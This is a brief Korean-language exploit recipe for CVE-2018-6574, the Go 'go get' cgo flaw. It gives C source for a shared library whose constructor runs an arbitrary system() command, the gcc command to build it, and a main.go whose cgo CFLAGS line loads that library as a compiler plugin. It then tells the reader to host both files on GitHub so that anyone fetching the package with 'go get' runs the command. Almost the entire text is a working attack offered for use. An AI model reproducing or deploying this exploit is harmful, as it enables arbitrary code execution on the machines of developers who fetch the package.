
CVE-2018-6574용 Golang cgo 익스플로잇
.c 파일을 생성합니다:#include<stdio.h>
#include<stdlib.h>
static void malicious() __attribute__((constructor));
void malicious() {
system("<insert your command here>");
}
gcc -shared -o attack.so -fPIC attack.c
main.go 파일을 생성합니다:package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int bridge_int_func(intFunc f){
// return f();
// }
//
// int fortytwo(){
// return 42;
// }
import "C"
import "fmt"
func main() {
f := C.intFunc(C.fortytwo)
fmt.Println(int(C.bridge_int_func(f)))
// Output: 42
}
main.go와 attack.so 파일을 GitHub 저장소에 호스팅합니다go get github.com/<your-handle>/<your-hepo> 명령을 실행합니다